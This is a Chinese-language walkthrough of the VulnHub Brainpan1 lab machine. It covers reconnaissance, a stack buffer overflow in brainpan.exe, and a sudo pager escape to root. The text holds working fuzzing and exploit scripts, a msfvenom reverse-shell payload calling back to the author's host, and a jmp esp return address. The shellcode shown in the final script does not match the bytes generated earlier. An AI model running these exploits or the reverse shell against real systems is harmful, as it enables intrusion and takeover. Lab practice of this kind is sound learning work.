VulnHub-Brainpan1 靶机笔记

news/2025/3/17 3:31:49/文章来源:https://www.cnblogs.com/LINGX5/p/18504110

Brainpan1 靶机笔记

概述

靶机地址:https://vulnhub.com/entry/brainpan-1,51/#download

这台靶机是很好的缓冲区溢出漏洞利用的练习靶机,涉及到逆向和缓冲区溢出漏洞挖掘的一些知识。

一、nmap 扫描

1)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.11.12
Nmap scan report for 192.168.11.12
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:C2:77:55 (VMware)

看到开放了 9999 和 10000 两个端口

2)详细信息扫描

nmap -sT -sV -sC -p9999,10000 -o details 192.168.11.12
Nmap scan report for 192.168.11.12
Host is up (0.00059s latency).PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=10/25%Time=671B59B3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:C2:77:55 (VMware)

二、Web 渗透

对于 10000 端口,进行了 web 端常规的测试

打开,同时进行目录爆破

image-20241025190742525

看到主页面就是一张纯图片,也没有令我们感兴趣的信息,我们看看目录爆破能不能给我们一些有用的信息

sudo gobuster dir -u http://192.168.11.12:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.12:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

image-20241025191047048

看到 /bin 目录下有一个 brainpan.exe 的可执行文件,我们下载下来

wget http://192.168.11.12:10000/bin/brainpan.exe

image-20241025191314228

看到这个文件就是 windows 的可执行文件

三、缓冲区溢出

1)判断漏洞存在

我们用 nc 与 9999 端口交互

nc -v 192.168.11.12 9999
192.168.11.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.12] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|_|                          _|[________________________ WELCOME TO BRAINPAN _________________________]ENTER THE PASSWORD                              >> brainpanACCESS DENIED

看到他让我们输入 password,输入后 ACCESS DENIED 了

把从浏览器下载的 brainpan.exe 拿到 windows 环境中运行

image-20241025191852363

看到这个文件在我的 windows 电脑上开启了 9999 端口,我们用 nc 和 windows 的 9999 交互看看

nc -v 192.168.11.1 9999 
192.168.11.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.1] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|_|                          _|[________________________ WELCOME TO BRAINPAN _________________________]ENTER THE PASSWORD                              >> brainpan1ACCESS DENIED

看到应该是和靶机一样的服务,靶机的 9999 可能就来自于这个服务

在服务端看到了向缓冲区复制的字样

image-20241025192143040

2)判断最大字节数

这里可以用 python 写一个 socket 连接,去跟服务进行交互

import socket,time,sys
mystr = 'A'
i = 1
while True:try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg = (mystr*100*i).encode('utf-8')print(msg)client.send(msg)print("[+]"+str(i*100)+"个字节已发送")i=i+1client.close()time.sleep(5)except :print("连接终止")sys.exit()

在 kali 中执行

sudo python BufferOverflow.py

看到发送到 600 字节时中断了

image-20241025201055522

而在 window 中,接受到 600 字节时服务自己中断了

image-20241025201139287

这里溢出的长短应该是不超过 600 个字节

3)定位 eip

用 msf 生成一组特定的长度和特征的字节,来判断具体位置

msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

用 Ollydbg 打开 brainpan.exe 可执行程序,并运行

image-20241025201643298

kali 向 brainpan.exe 发送 msf 生成的 600 长度的字符串

image-20241025201849757

看到 eip 的值 35724134

image-20241025202206307

确定位置

image-20241025202239772

看到 eip 的位置应该是在 524 个字节处

运行

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg =  'A'*524+'B'*4+'C'*72client.send(msg.encode('utf-8'))print("[+]"+str(600)+"个字节已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

image-20241025221050541

发送完之后看到 eip 为 42424242

image-20241025221136924

42 在 ascii 里就是 B 字符

也就是 eip 的位置是 525、526、527、528 四个字节

4)esp扩容

因为我们的payload长度一般为350-400字节,而72字节肯定是不够的,我们将esp扩容看程序的崩溃反应,。

我们尝试输入500个C

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg =  'A'*524+'B'*4+'C'*500client.send(msg.encode('utf-8'))print("[+]"+str(600)+"个字节已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

看到堆栈是从 005FFD40 开始的

image-20241025222151276

一直到 005FFF14

image-20241025222245066

相减一下得到堆栈的空间大小

image-20241025222504493

看到堆栈的大小是468字节

5)坏字符识别

用到badchars库

git clone https://github.com/cytopia/badchars.git

执行

./badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

看到所有可能的坏字符全部被列出来了

修改程序

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"+"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"+"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"+"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"+"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"+"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"+"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"+"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"+"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"+"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"+"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"+"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"+"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"+"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"+"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"+"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")msg =  'A'*524+'B'*4+badcharsclient.send(msg.encode('utf-8'))print("[+] badchars已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

通过坏字符识别发现除了/x00之外,没有其他的坏字符

6)jmp esp定位

右键搜索命令

image-20241026123137144

image-20241026123230503

看到存在jmp esp ,它的地址是 311712F3

三、获得立足点

生成linux的反弹shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.11.13 lport=443 -b "/x00"  -f c
unsigned char buf[] = 
"\xdd\xc4\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x99\xc8\x26\x0f"
"\xb1\x12\x31\x58\x17\x03\x58\x17\x83\x59\xcc\xc4\xfa\x68"
"\x16\xff\xe6\xd9\xeb\x53\x83\xdf\x62\xb2\xe3\xb9\xb9\xb5"
"\x97\x1c\xf2\x89\x5a\x1e\xbb\x8c\x9d\x76\xfc\xc7\x55\x8b"
"\x94\x15\x6a\x92\xdf\x93\x8b\x24\x79\xf4\x1a\x17\x35\xf7"
"\x15\x76\xf4\x78\x77\x10\x69\x56\x0b\x88\x1d\x87\xc4\x2a"
"\xb7\x5e\xf9\xf8\x14\xe8\x1f\x4c\x91\x27\x5f";

构造最终的payload

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.12', 9999))buf = ("\xbb\x35\x4b\x5e\xd8\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x12\x31\x5a\x12\x83\xc2\x04\x03\x6f\x45\xbc\x2d\xbe"
"\x82\xb7\x2d\x93\x77\x6b\xd8\x11\xf1\x6a\xac\x73\xcc\xed"
"\x5e\x22\x7e\xd2\xad\x54\x37\x54\xd7\x3c\x08\x0e\x2c\xb1"
"\xe0\x4d\x33\xc8\x4b\xd8\xd2\x7a\xcd\x8b\x45\x29\xa1\x2f"
"\xef\x2c\x08\xaf\xbd\xc6\xfd\x9f\x32\x7e\x6a\xcf\x9b\x1c"
"\x03\x86\x07\xb2\x80\x11\x26\x82\x2c\xef\x29")msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf client.send(bytes(msg+ "\r\n", "latin-1"))print("[+] payload send successful")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

执行

image-20241026150210842

成功获得了立足点

四、提权

sudo -l
Matching Defaults entries for puck on this host:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser puck may run the following commands on this host:(root) NOPASSWD: /home/anansi/bin/anansi_util

看到/home/anansi/bin/anansi_util这个文件不需要密码可以用root权限运行

运行看看

sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:- network- proclist- manual [command]

看到有帮助信息,尝试执行

sudo /home/anansi/bin/anansi_util manual /bin/bash

image-20241026151520935

进入了这样的界面,这个界面我们可太熟悉了。很像vi、vim、less这种的

用同样的方式尝试提权

!/bin/bash

image-20241026151650597

看到我们成功获得了root权限的shell

image-20241026151727518

总结

通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。

下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/822363.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux Centos安装ElasticSearch、分词器、es-head和Kibana

1 前言 Java中比较流行的搜索引擎是Elasticsearch,传统的数据库搜索,使用like’关键字%’,当内容过多时性能会大大降低,所以Elasticsearch就出现了。 下面,记录下Linux下Elasticsearch的安装过程。 2 Linux下安装Elasticsearch 2.1 下载和解压安装包 官网下载地址: https…

EDUSRC | 记录几张edusrc证书站挖掘

在web资产挖证书站是比较难的,尤其是没有账号密码进入后台或者统一的情况下,于是便转变思路,重点放在信息收集,收集偏远资产上。 一、XX大学 srping actuator未授权 茫茫c段,找到这么一处资产一个大学的课题组,有的人可能看到就放弃了,但他使用的不是静态的组件,指纹识…

Linux 中awk语句匹配首个数字与匹配首个连续的数字的区别

001、[root@localhost test]# cat b.txt ## 测试数据 0001 20081223efs333kjfdj EREADFASDLKJCV 0002 20081208djfks2288daa JDKFJALSDJFsddf 0003 20081208efskjfdj EREADFASDLKJCV 0004 20081211djfksdaa1234 JDKFJALSDJFsdd…

HarmonyOS:Node-API典型场景开发(1)

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★➤博客园地址:为敢技术(https://www.cnblogs.com/strengthen/ )➤GitHub地址:https://github.com/strengthen➤原文地址:https://www.cnblogs.com/strengthen/p/18504101➤如果链接不是为敢技术的博客园…

USB协议详解第22讲(USB包-数据包及重传机制)

USB协议详解第22讲(USB包-数据包及重传机制) 1.数据包的分类 数据类包有DATA0数据包、DATA1数据包、DATA2数据包、DATAM数据包。 2.数据类包的组成 我们今天看数据类包的详细结构,数据包的内容由PID域+数据域+16bit CRC域组成,下图为数据包各个域和抓包协议的对应图。3.数据…

南昌航空大学 22207208-贺凯凯 第一次总结性Blog

一,前言 本项目中我们实现了一个模拟在线答题判分的程序,分为三次迭代,逐步扩展功能和复杂度。通过三次题目集的练习,我们从基本的答题判分系统开始,逐渐加入了多试卷、多学生、多题目管理等元素,最终形成一个多功能、多用户的答题管理系统。每个题目集中涉及的知识点包括…

海康安防产品-[监控]视频监控原理介绍

常见的安防系统组成 如下图:是一个小区,小区中一般包含了这些安防设备,这些安防设备组合在一起成了一套安防系统在安防系统中,视频监控占据着较为重要的地位 视频监控原理和技术 视频监控系统发展 视频监控的定义:利用视频技术探测、监视设防区域,实时显示、记录现场图像…

企业数据高效集成:聚水潭与金蝶系统对接实战

聚水潭盘亏-金蝶其他出库:高效数据集成方案 在企业管理系统中,如何实现不同平台间的数据无缝对接一直是一个关键挑战。本文将分享一个具体的技术案例:如何通过轻易云数据集成平台,将聚水潭的盘亏数据高效集成到金蝶云星空的其他出库模块。 背景与需求分析 在本次集成项目中…

GESP一级真题分析-202303-选择题1-输入输出设备、存储单位、默认数据类型、标识符命名

GESP一级真题分析-202303-选择题1-输入输出设备、存储单位、默认数据类型、标识符命名 PDF文档公众号回复关键字:202410261 相关知识点 1) 输入输出设备 输入设备 是外界向计算机传送信息的装置。在微型计算机系统中,最常用的输入设备是键盘和鼠标。 此外还有电子光笔、数字化…

GBJ2510-ASEMI整流桥GBJ2510参数、封装、尺寸

GBJ2510-ASEMI整流桥GBJ2510参数、封装、尺寸编辑:ll GBJ2510-ASEMI整流桥GBJ2510参数、封装、尺寸 型号:GBJ2510 品牌:ASEMI 封装:GBJ-4 安装方式:直插 批号:2024+ 现货:50000+ 正向电流(Id):25A 反向耐压(VRRM):1000V 正向浪涌电流:350A 正向电压(VF):1.10V…

Java 题目集总结

一、前言 在本次 Java 课程的学习中,我们通过完成三次精心设计的题目集,深入探索了 Java 编程的广阔世界。这三次题目集犹如攀登知识高峰的阶梯,每一次都引领我们迈向更高的层次,涵盖了从基础概念到复杂应用的多个重要知识点,为我们提供了宝贵的实践机会,使我们在编程的道…

南昌航空大学 22207209-侯智慧-第一次blog作业

一、前言 在过去的几个月中,我全身心地投入到了Javapta课程的学习中,尤其是三次极具挑战性的大作业。这些作业不仅是对我Java编程技能的考验,也是我在计算机科学领域不断探索和成长的重要里程碑。 最初接触这些作业时,我感到有些不知所措。每个项目都要求我们运用不同的Jav…